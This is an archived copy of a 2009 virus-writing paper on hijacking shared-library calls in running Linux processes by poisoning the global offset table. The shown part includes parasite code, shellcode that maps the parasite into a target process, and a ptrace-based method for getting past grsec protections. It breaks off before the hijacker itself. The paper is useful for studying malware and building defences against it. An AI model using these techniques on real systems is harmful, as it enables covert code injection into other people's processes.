{
	"id": "304c2be2-30ef-4397-950f-12fe647d511a",
	"created_at": "2026-04-06T02:11:43.262345Z",
	"updated_at": "2026-04-10T03:21:05.462061Z",
	"deleted_at": null,
	"sha1_hash": "de392bd5d31f59ad0bf3122a86eb7b5b72b8fcc8",
	"title": "Ryan O'Neill 'Modern Day ELF Runtime infection via GOT poisoning' (VX heaven)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 314551,
	"plain_text": "Ryan O'Neill 'Modern Day ELF Runtime infection via GOT\r\npoisoning' (VX heaven)\r\nBy Ryan O'Neill\r\nArchived: 2026-04-06 01:58:26 UTC\r\nThe Wayback Machine - https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nModern Day ELF Runtime infection via GOT poisoning\r\nRyan O'Neill\r\nMay 2009\r\n[Back to index] [Comments]\r\nRyan O'Neill \u003cryan@bitlackeys.com\u003e\r\nIndex\r\n1. Introduction\r\n1.1 What is this paper / Why did I write it\r\n1.2 Who is it for\r\n1.3 Related papers\r\n2. ELF \u0026 Dynamic linking\r\n3. Writing the parasite\r\n4. Loading the parasite\r\n4.1 Loading the library the normal way\r\n4.2 Loading the library the GRsec way\r\n5. ptrace primer\r\n6. The complete algorithm\r\n7. The hijacker\r\n8. After thoughts\r\n1.1 Improvements\r\n1.2 ELFsh\r\n1.3 Staying hidden\r\n9. References\r\n1 - Introduction\r\n1.1 What is this paper? Why did I write it?\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 1 of 57\n\nThis paper is a document that outlines a specific algorithm to hijack shared library calls within a running process.\r\nWhile working on my UNIX AV tool for ELF parasite disinfection and memory resident parasite analysis, I\r\nstumbled upon an algorithm for hijacking shared library calls through global offset table poisoning, and coded a\r\nhijacker that uses the algorithm to demonstrate it. Runtime infection through shared library linking is not a new\r\nconcept; so why would I write a paper on it?\r\nI did so for several reason:\r\nReason #1\r\nPrevious papers either:\r\nA. merely outlined the concept without providing complete code.\r\nB. Provided complete code, but provided poor detail and left out key points in the paper itself leaving the\r\nreader disappointed and wanting to know more about the algorithm, parasite, and theory.\r\nC. Demonstrate methods of .so loading that are not inherently portable, not compatible with todays versions\r\nof glibc, and will not work in Linux OS's that are patched with grsec (see below) and use a hijacking\r\nalgorithm that modifies the original symbol (easier to detect and slower).\r\nReason #2\r\nI'm working on UNIX AV code, and I have already devised a method of detecting the infections shown in the\r\nprevious papers and code such as overwriting the first several bytes of the original symbol with a movl/jmp or a\r\npushl/ret to new code, which is very easy to detect. Whereas I have not yet devised a solution for automatically\r\ndetecting the method shown in this paper, as it is somewhat more difficult to detect heuristically (but certaintly not\r\nimpossible).\r\nReason #3\r\nIn this paper I present previously unpublished techniques on bypassing the grsec kernel patch which prevents\r\nshellcode injection into the text segment as a result of binary flag mprotect()'s.\r\nReason #4\r\nI provide a new \u0026 up-to-date ELF runtime infector that will successfully run on the latest Linux kernels and glibc,\r\nand with only slight modifications; other OS's like FreeBSD.\r\nReason #5\r\nIn releasing my runtime infector, I thought it would be a pity if a proper paper wasn't included to detail the\r\nexquisite art in the infection and parasite.\r\n1.2 Who is it for?\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 2 of 57\n\nThe expected general audience would be anyone who takes a deep interest in security and knows the C language,\r\nas well as some basic ELF knowledge. ELF is a vast topic and it is recommended that you read the ELF specs, I\r\nwill only cover the basic aspects that are relevant to this paper. This document is also for people who are already\r\nfamiliar with .so injection concepts and would like to know a more stealth method of .so injection (i.e is\r\nmodifying the original symbol necessary?) and would also like to walk away with new software for runtime\r\ninfection that works well in current versions of Linux using new versions of glibc, as well as against security\r\npatches that prevent shellcode injection.\r\n1.3 Related papers\r\nThere have been some really great papers that have documented different types of ELF infections. The ones most\r\nclosely related to this paper are:\r\nShared library redirection via ELF PLT Infection by Silvio\r\nSilvio's paper is probably the most important to me; the paper you are reading is somewhat of a\r\ncontinuation, but documents pure runtime infection, thus no binary modifications.\r\nCheating the ELF by Grugq\r\nThis is a good paper that covers ideas for parasites which manipulate dynamic linking on various\r\nplatforms. I believe there is a project based on this paper called the Subversive dynamic linking library.\r\nThe Cerberus ELF Interface by Mayhem\r\nThis paper presents excellent techniques I've never seen before which are demonstrated using elfsh. It\r\nshows a method of ET_REL injection which will work in programs that don't have a GOT (staticically\r\ncompiled binaries), whereas shared object injection will not. It also presents a new technique that extends\r\nfrom Silvios ELF PLT infection for portability and PaX evasion.\r\n2 - ELF \u0026 Dynamic Linking\r\nHere is a brief ELF primer. ELF (Executable Linking Format) is the file format used for executables and object\r\nfiles in Linux (Among other OS's). It is this format that contains all of the code and data for a program and\r\ninformation on how it will be loaded into memory. There are many components involved in how a program is\r\norganized on disk and what it takes to be loaded into memory with the right information so that it executes, I will\r\ncover some basic aspects.\r\nAn ELF file is made up of segments and sections, as well as headers to describe their contents. segments contain\r\nsections within them, some of these segments are loaded into memory and are therefore considered to be 'loadable\r\nsegments' (marked by PT_LOAD), and others are not. The two primary loadable segments that contain program\r\ndata are the text segment and the data segment; one of which contains the actual program code, and the other\r\ncontaining initialized and uninitialized data -- basically anything that's not declared on the stack (i.e global\r\nvariables). The headers that describe these segments are called program headers, and they look like this:\r\ntypedef struct {\r\n        Elf32_Word      p_type;\r\n        Elf32_Off       p_offset;\r\n        Elf32_Addr      p_vaddr;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 3 of 57\n\nElf32_Addr      p_paddr;\r\n        Elf32_Word      p_filesz;\r\n        Elf32_Word      p_memsz;\r\n        Elf32_Word      p_flags;\r\n        Elf32_Word      p_align;\r\n} Elf32_Phdr;\r\n \r\nAs mentioned above, this is not an ELF tutorial so we will only be covering a small portion of this;\r\np_vaddr is where in memory the segment starts\r\np_offset is how many bytes into the file the segment starts\r\np_type defines the type i.e is it a loadable segment? PT_LOAD\r\np_filesz is how large the segment is on disk\r\np_memsz is how large the segment is in memory\r\nWe'll leave it at that for now. The next aspect to touch upon is the ELF sections -- these are what organize data\r\nwithin the segments i.e one part of the text segment might contain data such as strings (like .rodata), whereas\r\nanother section denotes where actual executable code exists (like .text). To describe these sections there exists\r\nsection headers, which look like this:\r\ntypedef struct {\r\n        uint32_t        sh_name;\r\n        uint32_t        sh_type;\r\n        uint32_t        sh_flags;\r\n        Elf32_Addr      sh_addr;\r\n        Elf32_Off       sh_offset;\r\n        uint32_t        sh_size;\r\n        uint32_t        sh_link;\r\n        uint32_t        sh_info;\r\n        uint32_t        sh_addralign;\r\n        uint32_t        sh_entsize;\r\n} Elf32_Shdr;\r\n \r\nsh_name contains an offset into the string table for the name of its section\r\nsh_type defines the type of section\r\nsh_flags will tell us if a section is RWX.\r\nsh_addr is the start vaddr of the section in memory\r\nsh_offset is the offset of where the section starts in the file\r\nsh_link points to another section (in our case symbolic information)\r\nsh_size is the size of the section on file and in memory\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 4 of 57\n\nSo as you can see, these headers provide us with a map to the entire file or process image but in order to locate\r\nthese headers we must first get the initial ELF header. The beginning of every executable or object file starts with\r\nthe initial ELF header, which contains a bit of magic; The ELF magic is 7f 45 4c 46 -- or 7f ELF.\r\ntypedef struct {\r\n        unsigned char   e_ident[EI_NIDENT];\r\n        uint16_t        e_type;\r\n        uint16_t        e_machine;\r\n        uint32_t        e_version;\r\n        ElfN_Addr       e_entry;\r\n        ElfN_Off        e_phoff;\r\n        ElfN_Off        e_shoff;\r\n        uint32_t        e_flags;\r\n        uint16_t        e_ehsize;\r\n        uint16_t        e_phentsize;\r\n        uint16_t        e_phnum;\r\n        uint16_t        e_shentsize;\r\n        uint16_t        e_shnum;\r\n        uint16_t        e_shstrndx;\r\n} Elf32_Ehdr;\r\n \r\nAll we really need to be concerned with here are the following:\r\ne_type this will tell us if a file is executable, dynamic, or relocatable\r\ne_phoff is the offset of the program headers from the start of the file\r\ne_shoff is the offset of the section headers from the start of the file\r\ne_phnum is the number of program headers\r\ne_shnum is the number of section headers\r\nSo accessing and manipulating an ELF file or process image is pretty easy.\r\n/* open, fstat the ELF file, then mmap it */\r\nunsigned char *mem = mmap(0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);\r\nElf32_Ehdr *ehdr = (Elf32_Ehdr *)mem;\r\nElf32_Phdr *phdr = (Elf32_Phdr *)(mem + ehdr-\u003ee_phoff);\r\nElf32_Shdr *shdr = (Elf32_Shdr *)(mem + ehdr-\u003ee_shoff);\r\nTo modify the ELF headers its best to modify the privately mmap'd memory space, then rewrite the file from\r\nscratch with the mods (ELF viruses or infectors do this) and if we are modifying the process image then ptrace can\r\nbe used.\r\nFor the sake of this paper and simplicity, our test program -- our target -- will be very simple:\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 5 of 57\n\nint main(void)\r\n{\r\n        for(;;)\r\n        {\r\n                printf(\"test!\\n\");\r\n                sleep(5);\r\n        }\r\n}\r\n \r\nTo get a visual idea of how an ELF file is laid out try the readelf command i.e\r\n# readelf -l \u003cfile\u003e (to get program header info)\r\n# readelf -S \u003cfile\u003e (to get section header info)\r\n# readelf -r \u003cfile\u003e (to get relocation info, covered more below)\r\nLets take a look at the section headers of our test program:\r\nlocalhost hijack$ readelf -S test\r\nThere are 29 section headers, starting at offset 0x1204:\r\nSection Headers:\r\n [Nr] Name Type Addr Off Size ES Flg Lk Inf Al\r\n [ 0] NULL 00000000 000000 000000 00 0 0 0\r\n [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1\r\n [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4\r\n [ 3] .hash HASH 08048188 000188 00002c 04 A 5 0 4\r\n [ 4] .gnu.hash GNU_HASH 080481b4 0001b4 000020 04 A 5 0 4\r\n [ 5] .dynsym DYNSYM 080481d4 0001d4 000060 10 A 6 1 4\r\n [ 6] .dynstr STRTAB 08048234 000234 000050 00 A 0 0 1\r\n [ 7] .gnu.version VERSYM 08048284 000284 00000c 02 A 5 0 2\r\n [ 8] .gnu.version_r VERNEED 08048290 000290 000020 00 A 6 1 4\r\n [ 9] .rel.dyn REL 080482b0 0002b0 000008 08 A 5 0 4\r\n [10] .rel.plt REL 080482b8 0002b8 000020 08 A 5 12 4\r\n [11] .init PROGBITS 080482d8 0002d8 000017 00 AX 0 0 4\r\n [12] .plt PROGBITS 080482f0 0002f0 000050 04 AX 0 0 4\r\n [13] .text PROGBITS 08048340 000340 000194 00 AX 0 0 16\r\n [14] .fini PROGBITS 080484d4 0004d4 00001c 00 AX 0 0 4\r\n [15] .rodata PROGBITS 080484f0 0004f0 00000e 00 A 0 0 4\r\n [16] .eh_frame PROGBITS 08048500 000500 000004 00 A 0 0 4\r\n [17] .ctors PROGBITS 08049f0c 000f0c 000008 00 WA 0 0 4\r\n [18] .dtors PROGBITS 08049f14 000f14 000008 00 WA 0 0 4\r\n [19] .jcr PROGBITS 08049f1c 000f1c 000004 00 WA 0 0 4\r\n [20] .dynamic DYNAMIC 08049f20 000f20 0000d0 08 WA 6 0 4\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 6 of 57\n\n[21] .got PROGBITS 08049ff0 000ff0 000004 04 WA 0 0 4\r\n [22] .got.plt PROGBITS 08049ff4 000ff4 00001c 04 WA 0 0 4\r\n [23] .data PROGBITS 0804a010 001010 00000c 00 WA 0 0 4\r\n [24] .bss NOBITS 0804a01c 00101c 000004 00 WA 0 0 4\r\n [25] .comment PROGBITS 00000000 00101c 00010a 00 0 0 1\r\n [26] .shstrtab STRTAB 00000000 001126 0000db 00 0 0 1\r\n [27] .symtab SYMTAB 00000000 00168c 000330 10 28 31 4\r\n [28] .strtab STRTAB 00000000 0019bc 00014e 00 0 0 1\r\nKey to Flags:\r\n W (write), A (alloc), X (execute), M (merge), S (strings)\r\n I (info), L (link order), G (group), x (unknown)\r\n O (extra OS processing required) o (OS specific), p (processor specific)\r\nAs you can see there are many sections, the ones we will ultimately be interested in are .text, .dynsym, .rel.plt,\r\n.rel.dyn\r\nDynamic linking\r\nLets move on to the dynamic linking aspect of things, since afterall we are going to be doing a bit of dynamic\r\nlinking of our own. Lets briefly remember what a dynamically shared object library is. Dynamically shared\r\nobjects, unlike static libraries (.a files) are code that is not actually linked until runtime, hence dynamically linked.\r\nWhen an executable is compiled, symbolic references to the shared object functions are made, but at runtime these\r\nreferences will become symbolic definitions; actual addresses to where the functions have been mmap'd into the\r\nprocess address space. For instance, within an executable there will be multiple calls to libc functions, i.e a call to\r\nstrcpy may look like \"call 8048330 strcpy@plt\" that address '8048330' is to a location in the .plt (Procedure\r\nlinking table), the PLT will resolve the functions real address at runtime. Lets take a look at our PLT:\r\n080482f0 \u003c__gmon_start__@plt-0x10\u003e:\r\n 80482f0: ff 35 f8 9f 04 08 pushl 0x8049ff8\r\n 80482f6: ff 25 fc 9f 04 08 jmp *0x8049ffc\r\n 80482fc: 00 00 add %al,(%eax)\r\n ...\r\n08048300 \u003c__gmon_start__@plt\u003e:\r\n 8048300: ff 25 00 a0 04 08 jmp *0x804a000\r\n 8048306: 68 00 00 00 00 push $0x0\r\n 804830b: e9 e0 ff ff ff jmp 80482f0 \u003c_init+0x18\u003e\r\n08048310 \u003c__libc_start_main@plt\u003e:\r\n 8048310: ff 25 04 a0 04 08 jmp *0x804a004\r\n 8048316: 68 08 00 00 00 push $0x8\r\n 804831b: e9 d0 ff ff ff jmp 80482f0 \u003c_init+0x18\u003e\r\n08048320 \u003csleep@plt\u003e:\r\n 8048320: ff 25 08 a0 04 08 jmp *0x804a008\r\n 8048326: 68 10 00 00 00 push $0x10\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 7 of 57\n\n804832b: e9 c0 ff ff ff jmp 80482f0 \u003c_init+0x18\u003e\r\n08048330 \u003cputs@plt\u003e:\r\n 8048330: ff 25 0c a0 04 08 jmp *0x804a00c\r\n 8048336: 68 18 00 00 00 push $0x18\r\n 804833b: e9 b0 ff ff ff jmp 80482f0 \u003c_init+0x18\u003e\r\nThe ELF spec gives the best explanation of the PLT and the GOT (Global offset table) -- it is necessary to know\r\nwhat the GOT is first (Which is what we will be modifying later on)\r\nextern Elf32_Addr _GLOBAL_OFFSET_TABLE_[];\r\nHere is a paragraph on the GOT from the ELF spec [4]:\r\nPosition-independent code cannot, in general, contain absolute virtual addresses. Global offset tables\r\nhold absolute addresses in private data, thus making the addresses available without compromising the\r\nposition-independence and sharability of a program's text. A program references its global offset table\r\nusing position-independent addressing and extracts absolute values, thus redirecting position-independent references to absolute locations.\r\nSo after a symbol in an executable has been resolved at runtime, its absolute address will be stored in the global\r\noffset table, and future calls to that function reference the global offset table... THUS modifying it could -- under\r\nspecial circumstances-- redirect a library function call to another place in memory; we will do this later on. So lets\r\nexamine the .plt section of our program, as shown by objdump up above. The first time a function is called, the\r\nfollowing process happens (we will use puts() from above as an example)\r\n08048330 \u003cputs@plt\u003e:\r\n 8048330: ff 25 0c a0 04 08 jmp *0x804a00c\r\n 8048336: 68 18 00 00 00 push $0x18\r\n 804833b: e9 b0 ff ff ff jmp 80482f0 \u003c_init+0x18\u003e\r\nThe PLT first does an indirect jmp to *0x804a00c which is an entry in the GOT that does not yet hold the resolved\r\naddress for puts(), but instead has an address to the next instruction in the PLT; which is a push:\r\n8048336: 68 18 00 00 00 push $0x18\r\nThe value 0x18 or 24 is pushed onto the stack, this is the relocation offset for puts() it is actually an offset into the\r\nrelocation table and will be of type R_386_JUMP_SLOT\r\nlocalhost hijack$ readelf -r test\r\nRelocation section '.rel.dyn' at offset 0x2b0 contains 1 entries:\r\n Offset Info Type Sym.Value Sym. Name\r\n08049ff0 00000106 R_386_GLOB_DAT 00000000 __gmon_start__\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 8 of 57\n\nRelocation section '.rel.plt' at offset 0x2b8 contains 4 entries:\r\n Offset Info Type Sym.Value Sym. Name\r\n0804a000 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__\r\n0804a004 00000207 R_386_JUMP_SLOT 00000000 __libc_start_main\r\n0804a008 00000307 R_386_JUMP_SLOT 00000000 sleep\r\n0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts\r\nThere are 3 fields, lets look at the 'Offset'. If you notice the relocation offset for puts() specifies the address of the\r\nglobal offset entry that the PLT jumped to before pushing $0x18 onto the stack. The relocation offset '0804a00c'\r\nwill be the location that the absolute address for puts() is eventually stored. Lets move onto the next instruction by\r\nthe PLT:\r\n804833b: e9 b0 ff ff ff jmp 80482f0 \u003c_init+0x18\u003e\r\nThis is a jump back to the first PLT entry '80492f0', known as PLT0 -- ours looks like:\r\n080482f0 \u003c__gmon_start__@plt-0x10\u003e:\r\n 80482f0: ff 35 f8 9f 04 08 pushl 0x8049ff8\r\n 80482f6: ff 25 fc 9f 04 08 jmp *0x8049ffc\r\nFirst know that the global offset table has its 2nd and 3rd entry reserved:\r\nThe first instruction above pushes the 2nd entry of the GOT onto the stack, this value is the address of the\r\nlink_map (struct link_map), and the next instruction jumps to 0x8049ffc which is the 3rd entry in the global offset\r\ntable, and this transfers control to the dynamic linker. The dynamic linker gets the offset for the relocation entry\r\nfrom the stack (0x18 in our case), resolves the address for the symbol and stores it in the GOT entry specified by\r\nthe relocation offset (r_offset) which in our case is 804a00c. Future calls to puts@plt will jump directly to\r\n804a00c which now contains the resolved address to the library function, instead of the address to the push $0x18.\r\nBy default Linux uses what's called Lazy linking, this means that a symbol is not resolved until it is called for the\r\nfirst time; this behavior can be changed with LD_BIND_NOW environment variable.\r\nSo now that the process of dynamic linking has been explained, we can think of ways to subvert it. There are two\r\nmethods that came to my mind when considering the possibilities for shared library call hijacking, here they are.\r\nMethod A. overwrite the first 6 bytes of the shared library function with a push $0x0, ret. then patch it with the\r\naddress of the replacement library function, and temporarily removing the push/ret from the original function\r\nbefore invoking it through a saved function pointer.\r\nMethod B. overwrite the global offset table entry for the function you want to hijack with the mmap'd address of\r\nyour replacement function, then jump to the original function from the end of the replacement function.\r\nI decided that method B. would have better runtime speed. It is this method that we will be discussing in this\r\npaper. The only real dilemma we have, is getting our shared library (the parasite) loaded into the process image on\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 9 of 57\n\nthe fly, but first we must have a proper parasite design.\r\n3 - Writing the parasite\r\nOur parasite is a shared library object, more specifically a replacement function to do whatever we want -- this\r\nmeans we can perform additional checks and modify the arguments before invoking the original function.\r\nDesigning the parasite is a lot of fun, and is fortunately the easy part of the process. In designing the algorithm for\r\nhijacking shared library calls, there are a number of rules that must be in place for everything to work.\r\n1. Our shared object should be position independent code, this is because we mmap() it into the process but don't\r\napply any relocations. A function like dlopen() will parse and apply the relocs for you, but our loader code does\r\nnot use dlopen(), instead we use a more simple approach which is to mmap() our shared object, and make sure the\r\nobject is completely position independent, or is statically compiled using Diet Libc. The initial idea was to use\r\nsomething like dlopen; in modern versions of glibc, there exists only __libc_dlopen_mode() which provided some\r\nproblems, which I'm sure could be worked out, but I opted not to use it for this paper because I felt it wasn't\r\nnecessary; You should be able to write the parasite completely in C, read below:\r\nNOTE on Diet Libc\r\nAvoiding libc in your parasite might be undesirable for what you want to do, but using libc will result in us\r\nneeding to parse relocations, therefore requiring more sophisticated object loading shellcode. Fortunately there is a\r\ngood way around that, which is to use Diet libc, a compressed and lightweight version of libc that you can\r\nstatically compile into your shared library to avoid relocs. The provided hijacking technique and code should work\r\nfine with such a compiled library.\r\nPIC Example:\r\nIf the parasite is to be (PIC) position independent code, you should obviously not be using calls to libc etc.\r\ninstead, only direct calls to syscalls, and they must be suited for PIC.\r\nHere is an example of a position independent way to use a syscall\r\nstatic int\r\n_write (int fd, void *buf, int count)\r\n{\r\n  long ret;\r\n  __asm__ __volatile__ (\"pushl %%ebx\\n\\t\"\r\n                        \"movl %%esi,%%ebx\\n\\t\"\r\n                        \"int $0x80\\n\\t\" \"popl %%ebx\":\"=a\" (ret)\r\n                        :\"0\" (SYS_write), \"S\" ((long) fd),\r\n                        \"c\" ((long) buf), \"d\" ((long) count));\r\n  if (ret \u003e= 0) {\r\n    return (int) ret;\r\n  }\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 10 of 57\n\nreturn -1;\r\n}\r\nAlso, your parasite make file should look something like this:\r\ngcc -fPIC -c libtest.c -nostdlib\r\nld -shared -soname libtest.so.1 -o libtest.so.1.0 libtest.o\r\n2. The end of our replacement function needs to somehow return flow of execution back to the original function\r\nwith the stack pointer in place etc. My parasite framework ends with a function epilogue, and an indirect jmp back\r\nto the original function; this is one way a parasite function can end:\r\n __asm__ __volatile__\r\n    (\"movl %ebp, %esp\\n\" \"pop %ebp\\n\" \"movl $0x00000000, %eax\\n\" \"jmp *%eax\");\r\n \r\nKeep it volatile so it stays in place for when we go to patch it.\r\nThe test parasite\r\nOur target program, if you recall, simply prints the word 'test!' every 5 seconds; as a result we will be hijacking the\r\nlibc puts() function. Our replacement function should have the same parameters as the original function.\r\n/*********************** SHARED OBJECT PARASITE **********************/\r\n#include \u003csys/types.h\u003e\r\n#include \u003csys/syscall.h\u003e\r\nint evilprint (char *);\r\nstatic int\r\n_write (int fd, void *buf, int count)\r\n{\r\n  long ret;\r\n  __asm__ __volatile__ (\"pushl %%ebx\\n\\t\"\r\n                        \"movl %%esi,%%ebx\\n\\t\"\r\n                        \"int $0x80\\n\\t\" \"popl %%ebx\":\"=a\" (ret)\r\n                        :\"0\" (SYS_write), \"S\" ((long) fd),\r\n                        \"c\" ((long) buf), \"d\" ((long) count));\r\n  if (ret \u003e= 0) {\r\n    return (int) ret;\r\n  }\r\n  return -1;\r\n}\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 11 of 57\n\nint\r\nevilprint (char *buf)\r\n{\r\n/* we must allocate our strings this way on the stack to be PIC */\r\n/* otherwise they get stored into .rodata and we can't use them */\r\n  char new_string[5];\r\n       new_string[0] = 'e';\r\n       new_string[1] = 'v';\r\n       new_string[2] = 'i';\r\n       new_string[3] = 'l';\r\n       new_string[4] = 0;\r\n/* we are prepending the word 'evil' to whatever string is on the stack */\r\n  _write (1, new_string, 5);\r\n  _write (1, buf, 5);\r\n  char newline[1];\r\n       newline[0] = '\\n';\r\n  _write (1, newline, 1);\r\n/* perform the function epilogue, and setup the jump which our */\r\n/* hijacker will patch with the right address */\r\n  __asm__ __volatile__\r\n    (\"movl %ebp, %esp\\n\" \"pop %ebp\\n\" \"movl $0x00000000, %eax\\n\" \"jmp *%eax\");\r\n}\r\nvoid\r\n_init ()\r\n{\r\n}\r\nvoid\r\n_fini ()\r\n{\r\n}\r\nThere is definitely room for innovation with the parasite, and modifying the arguments is possible by modifying\r\nthe stack, in which its easiest to use a function pointer instead of the jmp. If we wanted our parasite to simply\r\nmodify the string on the stack that puts() takes as an argument, our parasite function would look like this instead:\r\n/* parasite that modifies args */\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 12 of 57\n\nint\r\nevilprint (char *buf)\r\n{\r\n  char new_string[5];\r\n       new_string[0] = 'e';\r\n       new_string[1] = 'v';\r\n       new_string[2] = 'i';\r\n       new_string[3] = 'l';\r\n       new_string[4] = 0;\r\n  int (*origfunc)(char *p) = 0x00000000;\r\n  return origfunc(new_string);\r\n}\r\nAnd our hijacker would need to patch the function pointer with the address of the original puts() function. This\r\nworks like a charm.\r\n4 - Loading the parasite\r\nObviously a process will not execute a library function if the library is not loaded into the process address space.\r\nPerhaps the trickiest part of writing this hijacker was designing the best way to get the evil shared object loaded;\r\nBy the end of writing this paper I had two reliable methods of forcing the target process to load your shared\r\nobject, one of which can bypass grsec memory protection for ELF segment binary flags.\r\nMy initial method was purely proof of concept so that I could simply employ my hijacking algorithm without my\r\nhijacker having to actually do the library loading -- this was to use LD_PRELOAD. This would be stupid and\r\npointless since you have to restart the process you want to infect after setting the variable so that it loads your lib.\r\nThat would be no good at all, because we want to infect a process ON-THE-FLY.\r\nAs mentioned earlier, __libc_dlopen_mode is available in libc and can load shared objects, but I did not study it\r\nenough to get it working... it may need to be initialized first.\r\nThe general method I came up with was to simply mmap the library one time as rwx for data and text, this method\r\ndoes not handle relocations, but is fine if we use a parasite that stays away from dynamic linking.\r\n4.1 Loading the library the normal way\r\n_start:\r\n        jmp B\r\nA:\r\n        # fd = open(\"libtest.so.1.0\", O_RDONLY);\r\n        xorl %ecx, %ecx\r\n        movb $5, %al\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 13 of 57\n\npopl %ebx\r\n        xorl %ecx, %ecx\r\n        int $0x80\r\n        subl $24, %esp\r\n                # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);\r\n        xorl %edx, %edx\r\n        movl %edx, (%esp)\r\n        movl $8192,4(%esp)\r\n        movl $7, 8(%esp)\r\n        movl $2, 12(%esp)\r\n        movl %eax,16(%esp)\r\n        movl %edx, 20(%esp)\r\n        movl $90, %eax\r\n        movl %esp, %ebx\r\n        int $0x80\r\n        # We need this to transfer control back to our hijacker once\r\n        # our shellcode is done executing\r\n        int3\r\n        # To get the address of the string dynamically we use call/pop method\r\nB:\r\n        call A\r\n        .string \"libtest.so.1.0\"\r\nThis is simple code that mmap's the evil shared object (which is about 5k) into the process address space, we\r\nmmap with rwx; usually libc is mmap'd into a process several times, once for the text segment (with execute) and\r\nonce for the data segment (with read). In our case we mmap the lib only once with rwx (unless we are messing\r\nwith GRSEC) -- but how do we get the process to execute this code? The answer is that we must use ptrace to\r\ninject the code into the running process, then modify the instruction pointer to execute it.\r\n4.2 Loading the library the Grsec way\r\nI'd like to give credit to andrewg for conceiving of this idea, which I implemented for the first time (that I've seen).\r\nThe grsec kernel patch for Linux has many features, and several of them apply to this paper, the primary one being\r\nthat the text segment is marked read/execute only and therefore will not be writeable to inject shellcode with\r\nptrace. This is a problem that we overcome using the following algorithm.\r\n1. Use PTRACE_SYSCALL to locate sysenter\r\nsysenter is used in modern Linux kernels instead of interrupt 0x80 because it is much faster. This can be\r\nfound in the linux-gate marked as vdso within the map file of a process. In grsec all of the base addresses\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 14 of 57\n\nof memory maps are blank, and there fore getting the address from that file is useless. Here is what we are\r\nlooking for:\r\nfffe420 \u003c__kernel_vsyscall\u003e:\r\nffffe420: 51 push %ecx\r\nffffe421: 52 push %edx\r\nffffe422: 55 push %ebp\r\nffffe423: 89 e5 mov %esp,%ebp\r\nffffe425: 0f 34 sysenter\r\nOur goal is to locate the next syscall in the running process, and get the eip value. The eip value is most\r\nlikely going to be several bytes past sysenter, so maybe ffffe430.\r\n2. Save the registers right before the syscall is called with sysenter.\r\n3. Modify %eax with the syscall number of the syscall we want, in our case it is SYS_open.\r\n4. Modify the args to suite your syscall, and store necessary args into the data segment (not the stack). In our\r\ncase we save the first N bytes of the data segment, then write our string \"/lib/libtest.so.1.0\".\r\n5. Locate sysenter by reading (reg.eip - 20) into a buffer with ptrace, then search through the buffer for the\r\ninstructions \\x0f\\x34, so sysenter = (reg.eip - 20) + index.\r\n6. Modify %eip to point at sysenter, and use PTRACE_SINGLESTEP to execute the instructions up until\r\nsysenter. Repeat steps 3 - 6, but use mmap(), then proceed to 7.\r\n7. Restore data segment\r\nThe algorithm above is employed in the code provided later on.\r\nIt is also worth noting that we could modify the .text memory layout using mmap() with MAP_FIXED, and then\r\ninject code into the text segment, but this modification would be overly apparent in /proc/pid/maps.\r\n5 - ptrace primer\r\nPtrace is an awesome syscall and is used by debuggers like gdb and tools like strace to follow and even modify the\r\nexecution of a program. We will be using ptrace for both reading and modifying the process image as well as\r\nchanging the flow of execution for a limited period of time. It is important to understand ELF if you want to\r\neffectively use ptrace --\r\nSYNOPSIS\r\n       \r\n#include \u003csys/ptrace.h\u003e\r\n       long ptrace(enum __ptrace_request request, pid_t pid,\r\n                   void *addr, void *data);\r\nWe will be using several specific ptrace requests, and because this is not a ptrace tutorial I will give a brief\r\noverview of them.\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 15 of 57\n\nPTRACE_ATTACH - This will attach the calling process to the process you want to trace-- thus making the\r\ncalling process the parent. A SIGSTOP is sent to the traced process, so ptrace requests of this type should follow\r\nwith a wait() or waitpid(). We can refer to processes that make this request as the 'tracing process'.\r\nPTRACE_PEEKTEXT - This request allows the tracing process to read from a virtual memory address within the\r\ntraced process image -- for instance, we could read the entire text segment into a buffer for analyzing, or check\r\nvalues in the data segment.\r\nPTRACE_POKTEXT - This request allows the tracing process to modify any location within the traced process\r\nimage, including privately mapped shared libraries!\r\nPTRACE_GETREGS - This request allows the tracing process to get a copy of the traced processes registers i.e\r\neax,ebx,ecx,edx,edi,esi,esp,eip etc.\r\nPTRACE_SETREGS - This request allows the tracing process to set new register values for the traced process i.e\r\nmodify the value of the instruction pointer.\r\nPTRACE_CONT - This request says to that the stopped traced process may resume.\r\nPTRACE_DETACH - This request resumes the child process as well, but detaches.\r\nPTRACE SYSCALL - This request restarts the process, but arranges for it to stop at the entrance/exit of the next\r\nsyscall. This allows us to inspect the arguments for the syscall, and even modify them.\r\nPTRACE SINGLESTEP - This starts the process, but stops it after the next instruction.\r\nThe best way to begin demonstrating ptrace and the ideas so far presented is to outline our algorithm for the\r\nhijacker and begin to implement code for it.\r\n6 - Hijacker 